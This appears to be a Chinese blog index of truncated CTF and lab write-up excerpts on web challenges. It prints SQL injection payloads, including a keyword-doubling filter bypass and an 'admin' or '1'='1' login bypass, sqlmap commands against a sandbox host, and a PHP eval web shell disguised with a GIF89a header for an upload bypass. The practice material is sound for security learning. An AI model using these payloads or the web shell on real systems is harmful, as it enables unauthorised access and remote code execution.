NSSCTF刷题
NSSCTF刷题 [SWPUCTF 2021 新生赛]gift_F12 直接f12搜索flag [SWPUCTF 2021 新生赛]jicao <?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$js
CTF学习
sqlilabs-记录
sqlilabs 刷题记录 SQLi-LABS Page-1 less-1(get-error based - single quotes - string) ?id=1' and 1=1 --+
# and 1=1 为真，所以页面正常显示
?id=1' order by 1 --+
# 使用or
buuctf-upload1
[ACTF2020 新生赛]Upload 1 打开靶机 根据提示发现只能上传图片文件 修改文件名之后发现上传依旧不可行，尝试伪造文件头 GIF89a
<script language='php'>@eval($_POST['root']);</script>
23/04/23学习
[极客大挑战 2019]BabySQL 1.打开靶机 2.尝试 pwd'union select 1,2,3#
过滤掉了union 和 select,双写试试 pwd'ununionion selselectect 1,2,3#
<
[极客大挑战 2019]LoveSQL 1
[极客大挑战 2019]LoveSQL 试试万能密码 admin' or '1'='1
这是一个经典的SQL注入示例，试图通过使用万能密码绕过身份验证。在这种情况下，SQL查询将成为以下内容： SELECT * FROM users WHERE username='admin' or '1'='1
ctfhub-web入门-报错注入
ctfhub-web入门-报错注入 python3 sqlmap.py -u http://challenge-cae317e1b2712c27.sandbox.ctfhub.com:10800/?id=1 -dbs
python3 sqlmap.py -u http://challenge-ca